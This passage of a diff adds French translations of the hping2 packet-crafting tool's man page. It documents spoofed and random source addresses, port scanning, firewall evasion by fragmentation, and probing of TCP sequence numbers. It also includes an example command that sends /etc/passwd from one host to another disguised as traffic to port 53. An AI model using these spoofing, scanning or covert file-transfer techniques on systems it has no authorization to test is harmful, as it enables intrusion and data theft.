qu'ils peuvent être passés en utilisant +de petits fragments (anachronique). Par défaut le 'mtu virtuel' (ndt : +taille des fragments) est de 16 octets. Voir également l'option +.IR --mtu . +.TP +.I -x --morefrag +Fixe le drapeau IP "more fragments" (ndt : d'autres fragments), utilisez +cette option si vous voulez que le système cible envoie un paquet +.B ICMP time-exceeded during reassembly +(ndt : délai dépassé durant le ré-assemblage). +.TP +.I -y --dontfrag +Fixe le drapeau IP "don't fragment" (ndt : ne pas fragmenter), ceci peut +être utilisé pour effectuer un +.B MTU path discovery +(ndt : découverte de la valeur minimale de la "taille maximale des paquets" +sur le chemin). +.TP +.I -g --fragoff fragment offset value +Fixe l'offset du fragment. +.TP +.I -m --mtu mtu value +Fixe un 'mtu virtuel' différent de 16 quand la fragmentation est activée. Si +la taille des paquets est supérieure au 'mtu virtuel' alors la fragmentation +est automatiquement activée. +.TP +.I -o --tos hex_tos +Fixe +.B Type Of Service (TOS) +(ndt : le type de service), pour plus d'informations essayez +.BR "--tos help" . +.TP +.I -G --rroute +Enregistrer la route. Inclut l'option RECORD_ROUTE dans chaque paquet envoyé +et affiche la route présente dans le tampon du paquet retourné. Notez que +l'entête IP n'est suffisamment large que pour neuf routes. Beaucoup de +systèmes ignorent ou suppriment cette option. Notez également qu'en +utilisant hping vous êtes capable d'utiliser l'enregistrement de la route +même si le système cible filtre ICMP. Enregistrer la route est une option +IP, non pas une option ICMP, ainsi vous pouvez utiliser l'option +d'enregistrement de la route même dans les modes TCP et UDP. +.SH OPTIONS ICMP +.TP +.I -C --icmptype type +Fixe le type ICMP, le défaut est +.BR "ICMP echo request" . +.TP +.I -K --icmpcode code +Fixe le code ICMP, le défaut est 0 (implique --icmp). +.TP +.I --icmp-ipver +Fixe la version IP de l'entête IP contenue dans les données ICMP, le défaut +est 4. +.TP +.I --icmp-iphlen +Fixe la longueur de l'entête IP contenue dans les données ICMP, le défaut +est 5 (5 mots de 32 bits). +.TP +.I --icmp-iplen +Fixe la longueur du paquet IP de l'entête IP contenue dans les données ICMP, +le défaut est la taille réelle. +.TP +.I --icmp-ipid +Fixe le champ IP id de l'entête IP contenue dans les données ICMP, le défaut +est aléatoire. +.TP +.I --icmp-ipproto +Fixe le protocole IP de l'entête IP contenue dans les données ICMP, le +défaut est TCP. +.TP +.I --icmp-cksum +Fixe la somme de contrôle ICMP, le défaut est la somme de contrôle valide. +.TP +.I --icmp-ts +Alias pour --icmptype 13 (pour envoyer des requêtes ICMP timestamp). +.TP +.I --icmp-addr +Alias pour --icmptype 17 (pour envoyer des requêtes ICMP masque réseau). +.SH OPTIONS TCP/UDP +.TP +.I -s --baseport source port +hping2 utilise le port source afin de deviner les numéros de séquence des +réponses. Il commence avec un numéro de port source de base, et incrémente +ce numéro pour chaque paquet envoyé. Quand un paquet est reçu alors le +numéro de séquence peut être calculé comme +.IR "port.source.réponse - port.source.de.base" . +Le port source de base par défaut est aléatoire, en utilisant cette option +vous êtes capable de fixer un numéro différent. Si vous avez besoin que le +port source ne soit pas incrémenté pour chaque paquet envoyé utilisez +l'option +.IR "-k --keep" . +.TP +.I -p --destport [+][+]dest port +Fixe le port destination, le défaut est 0. Si le caractère '+' précède le +numéro de port destination (i.e. +1024) le port destination sera incrémenté +pour chaque paquet reçu. Si deux '+' précèdent le numéro de port destination +(i.e. ++1024), le port destination sera incrémenté pour chaque paquet +envoyé. +Par défaut le port destination peut être modifié interactivement en +utilisant +.B CTRL+z. +.TP +.I --keep +Garde constant le port source, voir +.I --baseport +pour plus d'informations. +.TP +.I -w --win +Fixe la taille de la fenêtre TCP. Le défaut est 64. +.TP +.I -O --tcpoff +Fixe un faux offset (ndt : décalage) des données TCP. L'offset normal des +données est tcphdrlen / 4. +.TP +.I -M --tcpseq +Fixe le numéro de séquence TCP. +.TP +.I -L --tcpack +Fixe le drapeau TCP ack. +.TP +.I -Q --seqnum +Cette option peut être utilisée afin de collecter les numéros de séquence +générés par le système cible. Ceci peut être utile quand vous avez besoin +d'analyser si les numéros de séquence TCP sont prévisibles. Exemple de +sortie : + +.B #hping2 win98 --seqnum -p 139 -S -i u1 -I eth0 +.nf +HPING uaz (eth0 192.168.4.41): S set, 40 headers + 0 data bytes +2361294848 +2361294848 +2411626496 +50331648 +2545844224 +134217728 +2713616384 +167772160 +2881388544 +167772160 +3049160704 +167772160 +3216932864 +167772160 +3384705024 +167772160 +3552477184 +167772160 +3720249344 +167772160 +3888021504 +167772160 +4055793664 +167772160 +4223565824 +167772160 +.fi + +La première colonne reporte les numéros de séquence, la seconde la +différence entre le numéro de séquence courant et le dernier. Comme vous +pouvez le voir les numéros de séquence du système cible sont prévisibles. +.TP +.I -b --badcksum +Envoie des paquets avec une mauvaise somme de contrôle UDP/TCP +.TP +.I --tcp-timestamp +Active l'option TCP timestamp, et essaye de deviner la fréquence de mise à +jour du timestamp et l'uptime du système distant. +.TP +.I -F --fin +Fixe le drapeau TCP FIN. +.TP +.I -S --syn +Fixe le drapeau TCP SYN. +.TP +.I -R --rst +Fixe le drapeau TCP RST. +.TP +.I -P --push +Fixe le drapeau TCP PUSH. +.TP +.I -A --ack +Fixe le drapeau TCP ACK. +.TP +.I -U --urg +Fixe le drapeau TCP URG. +.TP +.I -X --xmas +Fixe le drapeau TCP Xmas. +.TP +.I -Y --ymas +Fixe le drapeau TCP Ymas. +.SH OPTIONS COMMUNES +.TP +.I -d --data data size +Fixe la taille du corps du paquet. Attention, en utilisant --data 40 hping2 +ne générera pas des paquets de 0 octet mais de entête_de_protocole+40 +octets. hping2 affichera en information la taille des paquets comme première +ligne de sortie, comme ceci : +.B HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 40 data bytes +.TP +.I -E --file filename +Utilise le contenu du fichier +.B filename +pour remplir les données du paquet. +.TP +.I -e --sign signature +Remplit d'abord +.I longueur de signature +octets de données avec +.IR signature . +Si +.I longueur de signature +est plus grand que la taille des données alors un message d'erreur sera +affiché. +Si vous ne spécifiez pas la taille des données hping utilisera la taille de +la signature comme taille des données. +Cette option peut être utilisée sans risque avec l'option +.IR "--file filename" , +l'espace de données restant sera rempli en utilisant le fichier +.IR filename . +.TP +.I -j --dump +Affiche les paquets en hexadécimal. +.TP +.I -J --print +Affiche les caractères imprimables des paquets reçus. +.TP +.I -B --safe +Active le protocole safe, en utilisant cette option les paquets perdus dans +un transfert de fichier seront renvoyés. Par exemple afin d'envoyer le +fichier /etc/passwd depuis le système A au système B vous pouvez utiliser ce +qui suit : +.nf +.I [host_a] +.B # hping2 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd +.I [host_b] +.B # hping2 host_a --listen signature --safe --icmp +.fi +.TP +.I -u --end +Si vous utilisez l'option +.IR "--file filename" , +cela vous dit quand la fin du fichier a été atteinte. D'ailleurs cela +prévient que l'autre côté accepte plus de paquets. S'il vous plaît, pour +plus d'informations voir le fichier +.BR HPING2-HOWTO . +.TP +.I -T --traceroute +Mode traceroute. En utilisant cette option hping2 incrémentera le ttl pour +chaque paquet +.B ICMP time to live 0 during transit +reçu. Essayez +.BR "hping2 host --traceroute" . +Cette option implique --bind et --ttl 1. Vous pouvez l'emporter sur le ttl à +1 en utilisant l'option --ttl. Depuis 2.0.0 stable il affiche les +informations de RTT. +.I --tr-keep-ttl +garde le ttl fixe en mode traceroute, ainsi vous pouvez contrôler simplement +un noeud sur la route. Par exemple, pour contrôler comment le 5ème noeud +change ou comment son RTT change vous pouvez essayer +.BR "hping2 host --traceroute --ttl 5 --tr-keep-ttl" . +.TP +.I --tr-stop +Si cette option est spécifiée hping quittera dès que le premier paquet qui +n'est pas un ICMP time exceeded est reçu. Ceci émule mieux le comportement +de traceroute. +.TP +.I --tr-no-rtt +Ne montre pas l'information RTT en mode traceroute. L'information du RTT des +ICMP time exceeded n'est même pas calculée si cette option est positionnée. +.TP +.I --tcpexitcode +Quitte avec le champ tcp->th_flag du dernier paquet reçu comme code de +retour. Utile pour les scripts qui ont besoin, par exemple, de savoir si le +port 999 de quelque système répond avec SYN/ACK ou avec RST en réponse à un +SYN, i.e. le service est lancé ou arrêté. +.SH FORMAT DE SORTIE TCP +Le format standard de sortie TCP est le suivant : + +len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms + +.B len +est la taille, en octets, des données capturées dans la couche liaison de +données en excluant la taille de l'entête de liaison de données. Ceci peut +ne pas correspondre à la taille du datagramme IP à cause du rembourrage bas +niveau de la couche liaison de données. + +.B ip +est l'adresse ip source. + +.B flags +sont les drapeaux TCP, R pour RESET, S pour SYN, A pour ACK, F pour FIN, P +pour PUSH, U pour URGENT, X pour 0x40 non standard, Y pour 0x80 non +standard. + +Si la réponse contient +.B DF +l'entête IP possède le bit don't fragment (ndt : ne pas fragmenter) +positionné. + +.B seq +est le numéro de séquence du paquet, obtenu en utilisant le port source pour +les paquets TCP/UDP, le champ séquence pour les paquets ICMP. + +.B id +est le champ IP ID. + +.B win +est la taille de la fenêtre TCP + +.B rtt +est le "round trip time" (ndt : temps aller-retour) en millisecondes. + +Si vous exécutez hping en utilisant l'option +.B -V +de la ligne de commande il affichera des informations supplémentaires à +propos du paquet, par exemple : + +len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms +tos=0 iplen=40 seq=0 ack=1223672061 sum=e61d urp=0 + +.B tos +est le champ type de service de l'entête IP. + +.B iplen +est le champ IP longueur totale. + +.B seq et ack +sont les numéros de séquence et d'acquittement sur 32 bits dans l'entête +TCP. + +.B sum +est la valeur de la somme de contrôle de l'entête TCP. + +.B urp +est la valeur du pointeur urgent TCP. + +.SH FORMAT DE SORTIE UDP + +Le format standard de sortie est : + +len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms + +La signification des champs est la même que celle de la sortie TCP pour les +champs de même nom. + +.SH FORMAT DE SORTIE ICMP + +Un exemple de sortie ICMP est : + +ICMP Port Unreachable from ip=192.168.1.1 name=nano.marmoc.net + +Il est très facile à comprendre. Il commence avec la chaîne "ICMP" suivie +par la description de l'erreur ICMP, dans l'exemple Port Unreachable (ndt : +port non accessible). Le champ ip est l'adresse IP source du datagramme IP +contenant l'erreur ICMP, le champ name est simplement l'adresse numérique +résolue en un nom (une requête dns PTR) ou UNKNOWN si la résolution a +échoué. + +Le format ICMP de Time exceeded during ou de reassembly est un peu +différent : + +TTL 0 during transit from ip=192.168.1.1 name=nano.marmoc.net + +TTL 0 during reassembly from ip=192.70.106.25 name=UNKNOWN + +La seule différence est la description de l'erreur, elle commence avec TTL +0. + +.SH AUTEUR +Salvatore Sanfilippo , avec l'aide des personnes +mentionnées dans le fichier AUTHORS et sur http://www.hping.org/authors.html +.SH BOGUES +Même en utilisant les options --end et --safe pour transférer des fichiers, +le paquet final sera rembourré avec des octets 0x00. +.PP +Les données sont lues sans tenir compte de l'alignement, mais l'alignement +est imposé dans les structures de données. +Ceci ne sera pas un problème sous i386 mais, alors que normalement les +entêtes TCP/IP sont naturellement alignées, cela peut créer des problèmes +avec divers processeurs et des paquets mal-formés si il y a des accès non +alignés quelque part dans le code (aucun avec un peu de chance). +.PP +Sur Solaris hping ne fonctionne pas sur l'interface loopback. Ceci semble +être un problème solaris, comme exposé dans la liste de diffusion +tcpdump-workers, ainsi la libpcap ne peut rien faire pour la supporter +correctement. +.SH VOIR AUSSI +ping(8), traceroute(8), ifconfig(8), nmap(1) +.SH TRADUCTEUR +Denis Ducamp \ No newline at end of file diff --git a/docs/french/hping2-fr.8.txt b/docs/french/hping2-fr.8.txt new file mode 100644 index 0000000..b27fe4f --- /dev/null +++ b/docs/french/hping2-fr.8.txt @@ -0,0 +1,694 @@ +HPING2(8) HPING2(8) + +NOM + hping2 - envoie des paquets TCP/IP (presque) arbitraires à + des systèmes réseaux + +RESUME + hping2 [ -hvnqVDzZ012WrfxykQbFSRPAUXYjJBuTG ] [ -c count ] + [ -i wait ] [ --fast ] [ -I interface ] [ -9 signature ] [ + -a host ] [ -t ttl ] [ -N ip id ] [ -H ip protocol ] [ -g + fragoff ] [ -m mtu ] [ -o tos ] [ -C icmp type ] [ -K icmp + code ] [ -s source port ] [ -p[+][+] dest port ] [ -w tcp + window ] [ -O tcp offset ] [ -M tcp sequence number ] [ -L + tcp ack ] [ -d data size ] [ -E filename ] [ -e signature + ] [ --icmp-ipver version ] [ --icmp-iphlen length ] [ + --icmp-iplen length ] [ --icmp-ipid id ] [ --icmp-ipproto + protocol ] [ --icmp-cksum checksum ] [ --icmp-ts ] [ + --icmp-addr ] [ --tcpexitcode ] [ --tcp-timestamp ] [ + --tr-stop ] [ --tr-keep-ttl ] [ --tr-no-rtt ] [ --rand- + dest ] [ --rand-source ] hostname + +DESCRIPTION + hping2 est un outil réseau capable d'envoyer des paquets + TCP/IP sur commande et d'afficher les réponses de la cible + comme le programme ping le fait avec les réponses ICMP. + hping2 traite la fragmentation, les contenus de paquets et + les tailles arbitraires, et peut être utilisé dans le but + de transférer des fichiers encapsulés dans les protocoles + supportés. En utilisant hping2 vous êtes capable + d'effectuer au moins les tâches suivantes : + + - Tester les règles d'un firewall + - Scanner des ports de façon avancée + - Tester les performances réseau en utilisant différents + protocoles, tailles de paquets, TOS (type de service) et + fragmentation. + - Découverte de "Path MTU" + - Transférer des fichiers même au travers de règles de + firewall vraiment fascistes. + - Comme traceroute avec différents protocoles. + - Utilisation comme Firewalk. + - Détermination d'OS à distance. + - Audit de pile TCP/IP. + - Beaucoup d'autres. + + C'est également un bon outil didactique pour apprendre + TCP/IP. hping2 est développé et maintenu par + antirez@invece.org et est sous la version 2 de la licence + GPL. Le développement est ouvert donc vous pouvez + m'envoyer des patches, suggestions et affronts sans inhi­ + bition. + +SITE DE HPING + site primaire sur http://www.hping.org. Vous pouvez trou­ + ver à la fois la version stable et les instructions pour + télécharger le dernier code source sur + http://www.hping.org/download.html + +OPTIONS DE BASE + -h --help + Montre l'écran d'aide sur la sortie standard, donc + vous pouvez rediriger vers less. + + -v --version + Montre l'information de version et l'API utilisée + pour accéder au niveau données (data link layer), + linux sock packet ou libpcap. + + -c --count count + Arrête après avoir envoyé (et reçu) count paquets + réponse. Après que le dernier paquet a été envoyé + hping2 attend COUNTREACHED_TIMEOUT secondes les + réponses du système cible. Vous avez la possibilité + de régler COUNTREACHED_TIMEOUT en éditant hping2.h + + -i --interval + Attend le nombre spécifié de secondes ou de micro + secondes entre l'envoie de chaque paquet. --inter­ + val X fixe wait à X secondes, --interval uX fixe + wait à X micro secondes. Le défaut est d'attendre + une seconde entre chaque paquet. En utilisant + hping2 pour transférer des fichiers fixer cette + option est très important pour augmenter le taux de + transfert. Même en utilisant hping2 pour effectuer + des scans passifs/avec usurpation d'adresse vous + devriez fixer cette option, voir HPING2-HOWTO pour + plus d'informations. + + --fast Alias pour -i u10000. Hping enverra 10 paquets par + seconde. + + --faster + Alias pour -i u1. Plus rapide que --fast ;) (mais + pas aussi rapide que votre ordinateur peut envoyer + des paquets à cause de la conception basée sur les + signaux). + + -n --numeric + Sortie numérique seulement, aucune tentative ne + sera faite pour chercher les noms symboliques pour + les adresses système. + + -q --quiet + Sortie silencieuse. Rien n'est affiche excepté les + lignes de résume au moment du démarrage et quand + c'est fini. + + -I --interface interface name + Par défaut sur les systèmes linux et BSD hping2 + utilise l'interface de routage par défaut. Sur + d'autres systèmes ou quand il n'y a pas d'interface + de routage par défaut hping2 utilise la première + interface non loopback. Quoi qu'il en soit vous + avez la possibilité de forcer hping2 à utiliser + l'interface dont vous avez besoin en utilisant + cette option. Note : vous n'avez pas besoin de + spécifier le nom complet, par exemple -I et va cor­ + respondre à eth0 ethernet0 myet1 et cetera. Si + aucune interface ne correspond hping2 essayera + d'utiliser lo. + + -V --verbose + Active la sortie verbeuse. Les réponses TCP seront + affichées comme suit : + + len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 + id=0 win=0 rtt=0.4 ms tos=0 iplen=40 seq=0 + ack=1380893504 sum=2010 urp=0 + + -D --debug + Active le mode de débogage, c'est utile quand vous + rencontrez quelques problèmes avec hping2. Quand le + mode de débogage est activé vous obtiendrez plus + d'informations à propos de la détection des inter­ + faces, de l'accès au niveau données, du réglage des + interfaces, des options d'analyse, de la fragmenta­ + tion, du protocole HCMP et d'autres choses. + + -z --bind + Lie CTRL+Z au time to live (TTL) ainsi vous serez + capable d'incrémenter/décrémenter le ttl des + paquets sortant en pressant CTRL+Z une ou deux + fois. + + -Z --unbind + Dé-lie CTRL+Z ainsi vous serez capable d'arrêter + hping2 + +SELECTION DE PROTOCOLE + Le protocole par défaut est TCP, par défaut hping2 enverra + des entêtes TCP sur le port 0 du système cible avec une + winsize (ndt : taille de fenêtre) de 64 sans aucun drapeau + TCP activé. Souvent c'est la meilleure manière de faire un + 'ping caché', utile quand la cible est derrière un fire­ + wall qui jette ICMP. De plus un paquet TCP null-flag (ndt + : sans drapeau) vers le port 0 a de bonnes probabilités de + ne pas être journalisé. + + -0 --rawip + Mode RAW IP, dans ce mode hping2 enverra une entête + IP avec les données ajoutées avec --signature et/ou + --file, voir également --ipproto qui vous autorise + à fixer le champ protocole IP. + + -1 --icmp + Mode ICMP, par défaut hping2 enverra un paquet ICMP + echo-request, vous pouvez fixer un autre type/code + ICMP en utilisant les options --icmptype --icmpcode + + -2 --udp + Mode UDP, par défaut hping2 enverra des paquets UDP + vers le port 0 du système cible. Les options + réglables des entêtes UDP sont les suivantes : + --baseport, --destport, --keep. + + -8 --scan + Mode scan, l'option attend un argument qui décrit + des groupes de ports à scanner. Les groupes de + ports sont séparés par des virgules : un nombre + décrit seulement un port unique, donc 1,2,3 signi­ + fie ports 1, 2 et 3. Les intervalles sont spécifiés + en utilisant une notation début-fin, comme 1-1000, + qui dit à hping de scanner les ports entre 1 et + 1000 (inclus). Le mot spécial all est un alors pour + 0-65535, pendant que le mot spécial known inclut + tous les ports listés dans /etc/services. + Les groupes peuvent être combinés, donc la commande + suivante scannera les ports entre 1 et 1000 ET le + port 8888 ET les ports listés dans /etc/services: + hping --scan 1-1000,8888,known -S target.host.com + Les groupes peuvent être niés (soustraits) en util­ + isant un caractère ! comme préfix, donc la ligne de + commande suivante scannera tous les ports NON + listés dans /etc/services dans l'intervalle 1-1024 + : hping --scan '1-1024,!known' -S target.host.com + Gardez à l'esprit que pendant que hping apparaît + beaucoup plus comme un scanneur de ports dans ce + mode, la plupart des options sont toujours + honorées, donc pour effectuer par exemple un scan + SYN vous avez besoin de spécifier l'option -S, vous + pouvez changer la taille de la fenêtre TCP, le TTL, + contrôler la fragmentation IP comme habituellement, + et ainsi de suite. La seule différence réelle est + que le comportement standard de hping est encapsulé + dans un algorithme de scan. + Note technique : Le mode scan utilise une concep­ + tion basée sur deux processus, avec de la mémoire + partagée pour la synchronisation. L'algorithlme de + scan n'est toujours pas optimal, mais déjà assez + rapide. + Conseil : à la différence de la plupart des scan­ + neurs, hping montre quelques informations + intéressantes à propos des paquets reçus, les + champs IP ID, TCP win, TTL, et ainsi de suite, + n'oubliez pas de regarder ces informations addi­ + tionnelles quand vous effectuez un scan! Quelques + fois elles montrent des détails intéressants. + + -9 --listen signature + Mode d'écoute de HPING2, en utilisant cette option + hping2 attend les paquets qui contiennent signature + et exporte de la fin de la signature à la fin du + paquet. Par exemple si hping2 --listen TEST lit un + paquet qui contient 234-09sdflkjs45-TESThello_world + il affichera hello_world. + +OPTIONS IP + -a --spoof hostname + Utiliser cette option dans le but de fixer une + fausse adresse source, cette option assure que le + système cible n'obtiendra pas votre adresse réelle. + Quoi qu'il en soit les réponses seront envoyées à + l'adresse usurpée, ainsi vous ne serez pas capable + de les voir. Afin de voir comment il est possible + d'effectuer des scans avec des adresses + usurpées/passifs voir le fichier HPING2-HOWTO. + + --rand-source + Cette option active le mode source aléatoire. + hping enverra des paquets avec des adresses sources + aléatoires. Il est intéressant d'utiliser cette + option pour stresser les tables d'étât d'un fire­ + wall, et d'autres tables dynamiques basées sur les + IP dans les piles TCP/IP et les firewall logiciels. + + --rand-dest + Cette option active le mode destination aléatoire. + hping enverra des paquets à des adresses aléatoires + obtenues en suivant la règle que vous avez + spécifiée comme système cible. Vous avez besoin de + spécifier une adresse IP numérique en tant que + système cible comme 10.0.0.x. Toutes les occur­ + rences de x seront remplacées avec un nombre + aléatoire dans l'intervalle 0-255. Ainsi pour + obtenir des adresses IP internet dans l'espace IPv4 + complet utilisez quelque chose comme hping x.x.x.x + --rand-dest. Si vous n'êtes pas sûrs du genre + d'adresses que votre règle génère essayez + d'utiliser l'option --debug pour afficher chaque + nouvelle adresse destination générée. + Attention : quand cette option est activée hping ne + peut pas détecter la bonne interface de sortie pour + les paquets, ainsi vous devez utiliser l'option + --interface pour sélectionner l'interface de sor­ + tie. + + -t --ttl time to live + En utilisant cette option vous pouvez fixer le TTL + (time to live) des paquets sortant, il est vraisem­ + blable que vous utiliserez ceci avec les options + --traceroute ou --bind Dans le doute essayez + `hping2 some.host.com -t 1 --traceroute'. + + -N --id + Fixe le champ ip->id . La valeur du champ id par + défaut est aléatoire mais si la fragmentation est + activée et que le champ id n'est pas spécifié alors + il sera égal à getpid() & 0xFF, mettre en oeuvre + une meilleure solution est dans la liste TODO (ndt + : à faire). + + -H --ipproto + Fixe le protocole IP dans le mode RAW IP. + + -W --winid + Le champ id des systèmes Windows* avant Win2k ont + un byte ordering (ndt : ordre des octets) + différent, si cette option est activée hping2 + affichera proprement les champs id des réponses de + ces Windows. + + -r --rel + Affiche les incréments du champ id au lieu du champ + id. Voir le fichier HPING2-HOWTO pour plus d'infor­ + mations. Les incréments ne sont pas calculés comme + id[N]-id[N-1] mais en utilisant une compensation de + pertes de paquets. Voir le fichier relid.c pour + plus d'informations. + + -f --frag + Découpe les paquets en fragments, ceci peut être + utile afin de tester les performances de la frag­ + mentation des piles IP et de tester si certains + filtres de paquets sont si faibles qu'ils peuvent + être passés en utilisant de petits fragments + (anachronique). Par défaut le 'mtu virtuel' (ndt : + taille des fragments) est de 16 octets. Voir égale­ + ment l'option --mtu. + + -x --morefrag + Fixe le drapeau IP "more fragments" (ndt : d'autres + fragments), utilisez cette option si vous voulez + que le système cible envoie un paquet ICMP time- + exceeded during reassembly (ndt : délai dépassé + durant le ré-assemblage). + + -y --dontfrag + Fixe le drapeau IP "don't fragment" (ndt : ne pas + fragmenter), ceci peut être utilisé pour effectuer + un MTU path discovery (ndt : découverte de la + valeur minimale de la "taille maximale des paquets" + sur le chemin). + + -g --fragoff fragment offset value + Fixe l'offset du fragment. + + -m --mtu mtu value + Fixe un 'mtu virtuel' différent de 16 quand la + fragmentation est activée. Si la taille des paquets + est supérieure au 'mtu virtuel' alors la fragmenta­ + tion est automatiquement activée. + + -o --tos hex_tos + Fixe Type Of Service (TOS) (ndt : le type de ser­ + vice), pour plus d'informations essayez --tos help. + + -G --rroute + Enregistrer la route. Inclut l'option RECORD_ROUTE + dans chaque paquet envoyé et affiche la route + présente dans le tampon du paquet retourné. Notez + que l'entête IP n'est suffisamment large que pour + neuf routes. Beaucoup de systèmes ignorent ou sup­ + priment cette option. Notez également qu'en util­ + isant hping vous êtes capable d'utiliser l'enreg­ + istrement de la route même si le système cible fil­ + tre ICMP. Enregistrer la route est une option IP, + non pas une option ICMP, ainsi vous pouvez utiliser + l'option d'enregistrement de la route même dans les + modes TCP et UDP. + +OPTIONS ICMP + -C --icmptype type + Fixe le type ICMP, le défaut est ICMP echo request. + + -K --icmpcode code + Fixe le code ICMP, le défaut est 0 (implique + --icmp). + + --icmp-ipver + Fixe la version IP de l'entête IP contenue dans les + données ICMP, le défaut est 4. + + --icmp-iphlen + Fixe la longueur de l'entête IP contenue dans les + données ICMP, le défaut est 5 (5 mots de 32 bits). + + --icmp-iplen + Fixe la longueur du paquet IP de l'entête IP con­ + tenue dans les données ICMP, le défaut est la + taille réelle. + + --icmp-ipid + Fixe le champ IP id de l'entête IP contenue dans + les données ICMP, le défaut est aléatoire. + + --icmp-ipproto + Fixe le protocole IP de l'entête IP contenue dans + les données ICMP, le défaut est TCP. + + --icmp-cksum + Fixe la somme de contrôle ICMP, le défaut est la + somme de contrôle valide. + + --icmp-ts + Alias pour --icmptype 13 (pour envoyer des requêtes + ICMP timestamp). + + --icmp-addr + Alias pour --icmptype 17 (pour envoyer des requêtes + ICMP masque réseau). + +OPTIONS TCP/UDP + -s --baseport source port + hping2 utilise le port source afin de deviner les + numéros de séquence des réponses. Il commence avec + un numéro de port source de base, et incrémente ce + numéro pour chaque paquet envoyé. Quand un paquet + est reçu alors le numéro de séquence peut être cal­ + culé comme port.source.réponse - + port.source.de.base. Le port source de base par + défaut est aléatoire, en utilisant cette option + vous êtes capable de fixer un numéro différent. Si + vous avez besoin que le port source ne soit pas + incrémenté pour chaque paquet envoyé utilisez + l'option -k --keep. + + -p --destport [+][+]dest port + Fixe le port destination, le défaut est 0. Si le + caractère '+' précède le numéro de port destination + (i.e. +1024) le port destination sera incrémenté + pour chaque paquet reçu. Si deux '+' précèdent le + numéro de port destination (i.e. ++1024), le port + destination sera incrémenté pour chaque paquet + envoyé. Par défaut le port destination peut être + modifié interactivement en utilisant CTRL+z. + + --keep Garde constant le port source, voir --baseport pour + plus d'informations. + + -w --win + Fixe la taille de la fenêtre TCP. Le défaut est 64. + + -O --tcpoff + Fixe un faux offset (ndt : décalage) des données + TCP. L'offset normal des données est tcphdrlen / 4. + + -M --tcpseq + Fixe le numéro de séquence TCP. + + -L --tcpack + Fixe le drapeau TCP ack. + + -Q --seqnum + Cette option peut être utilisée afin de collecter + les numéros de séquence générés par le système + cible. Ceci peut être utile quand vous avez besoin + d'analyser si les numéros de séquence TCP sont + prévisibles. Exemple de sortie : + + #hping2 win98 --seqnum -p 139 -S -i u1 -I eth0 + HPING uaz (eth0 192.168.4.41): S set, 40 headers + 0 data bytes + 2361294848 +2361294848 + 2411626496 +50331648 + 2545844224 +134217728 + 2713616384 +167772160 + 2881388544 +167772160 + 3049160704 +167772160 + 3216932864 +167772160 + 3384705024 +167772160 + 3552477184 +167772160 + 3720249344 +167772160 + 3888021504 +167772160 + 4055793664 +167772160 + 4223565824 +167772160 + + La première colonne reporte les numéros de + séquence, la seconde la différence entre le numéro + de séquence courant et le dernier. Comme vous pou­ + vez le voir les numéros de séquence du système + cible sont prévisibles. + + -b --badcksum + Envoie des paquets avec une mauvaise somme de + contrôle UDP/TCP + + --tcp-timestamp + Active l'option TCP timestamp, et essaye de deviner + la fréquence de mise à jour du timestamp et + l'uptime du système distant. + + -F --fin + Fixe le drapeau TCP FIN. + + -S --syn + Fixe le drapeau TCP SYN. + + -R --rst + Fixe le drapeau TCP RST. + + -P --push + Fixe le drapeau TCP PUSH. + + -A --ack + Fixe le drapeau TCP ACK. + + -U --urg + Fixe le drapeau TCP URG. + + -X --xmas + Fixe le drapeau TCP Xmas. + + -Y --ymas + Fixe le drapeau TCP Ymas. + +OPTIONS COMMUNES + -d --data data size + Fixe la taille du corps du paquet. Attention, en + utilisant --data 40 hping2 ne générera pas des + paquets de 0 octet mais de entête_de_protocole+40 + octets. hping2 affichera en information la taille + des paquets comme première ligne de sortie, comme + ceci : HPING www.yahoo.com (ppp0 204.71.200.67): NO + FLAGS are set, 40 headers + 40 data bytes + + -E --file filename + Utilise le contenu du fichier filename pour rem­ + plir les données du paquet. + + -e --sign signature + Remplit d'abord longueur de signature octets de + données avec signature. Si longueur de signature + est plus grand que la taille des données alors un + message d'erreur sera affiché. Si vous ne + spécifiez pas la taille des données hping utilisera + la taille de la signature comme taille des données. + Cette option peut être utilisée sans risque avec + l'option --file filename, l'espace de données + restant sera rempli en utilisant le fichier file­ + name. + + -j --dump + Affiche les paquets en hexadécimal. + + -J --print + Affiche les caractères imprimables des paquets + reçus. + + -B --safe + Active le protocole safe, en utilisant cette option + les paquets perdus dans un transfert de fichier + seront renvoyés. Par exemple afin d'envoyer le + fichier /etc/passwd depuis le système A au système + B vous pouvez utiliser ce qui suit : + [host_a] + # hping2 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd + [host_b] + # hping2 host_a --listen signature --safe --icmp + + -u --end + Si vous utilisez l'option --file filename, cela + vous dit quand la fin du fichier a été atteinte. + D'ailleurs cela prévient que l'autre côté accepte + plus de paquets. S'il vous plaît, pour plus + d'informations voir le fichier HPING2-HOWTO. + + -T --traceroute + Mode traceroute. En utilisant cette option hping2 + incrémentera le ttl pour chaque paquet ICMP time to + live 0 during transit reçu. Essayez hping2 host + --traceroute. Cette option implique --bind et + --ttl 1. Vous pouvez l'emporter sur le ttl à 1 en + utilisant l'option --ttl. Depuis 2.0.0 stable il + affiche les informations de RTT. --tr-keep-ttl + garde le ttl fixe en mode traceroute, ainsi vous + pouvez contrôler simplement un noeud sur la route. + Par exemple, pour contrôler comment le 5ème noeud + change ou comment son RTT change vous pouvez + essayer hping2 host --traceroute --ttl 5 --tr-keep- + ttl. + + --tr-stop + Si cette option est spécifiée hping quittera dès + que le premier paquet qui n'est pas un ICMP time + exceeded est reçu. Ceci émule mieux le comportement + de traceroute. + + --tr-no-rtt + Ne montre pas l'information RTT en mode traceroute. + L'information du RTT des ICMP time exceeded n'est + même pas calculée si cette option est positionnée. + + --tcpexitcode + Quitte avec le champ tcp->th_flag du dernier paquet + reçu comme code de retour. Utile pour les scripts + qui ont besoin, par exemple, de savoir si le port + 999 de quelque système répond avec SYN/ACK ou avec + RST en réponse à un SYN, i.e. le service est lancé + ou arrêté. + +FORMAT DE SORTIE TCP + Le format standard de sortie TCP est le suivant : + + len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 + rtt=0.4 ms + + len est la taille, en octets, des données capturées dans + la couche liaison de données en excluant la taille de + l'entête de liaison de données. 